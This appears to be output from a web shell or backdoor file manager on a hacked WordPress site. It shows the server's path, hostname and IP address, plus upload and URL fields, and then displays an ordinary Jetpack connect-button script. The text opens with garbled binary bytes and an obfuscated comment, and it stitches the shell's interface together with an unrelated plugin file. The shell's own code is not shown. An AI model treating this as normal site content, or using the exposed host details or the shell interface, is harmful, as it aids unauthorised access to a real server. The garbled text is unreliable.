PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/tiktechtok.org/wp-content/plugins/jetpack/_inc/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/tiktechtok.org/wp-content/plugins/jetpack/_inc/connect-button.js

/* global jpConnect */

const connectButtons = document.querySelectorAll( '.jp-connect-button, #jp-connect-button--alt' );

connectButtons.forEach( function ( connectButton ) {
	connectButton.addEventListener( 'click', function ( event ) {
		event.preventDefault();
		startConnectionFlow( connectButton );
	} );
} );

function startConnectionFlow( connectButton ) {
	connectButton.classList.add( 'button-disabled' );

	const searchParams = new URLSearchParams(
		connectButton.getAttribute( 'href' ).split( '?' )[ 1 ]
	);
	window.location =
		searchParams && searchParams.get( 'from' )
			? jpConnect.connectUrl
					.split( '?page=jetpack' )
					.join( '?page=jetpack&from=' + searchParams.get( 'from' ) )
			: jpConnect.connectUrl;
}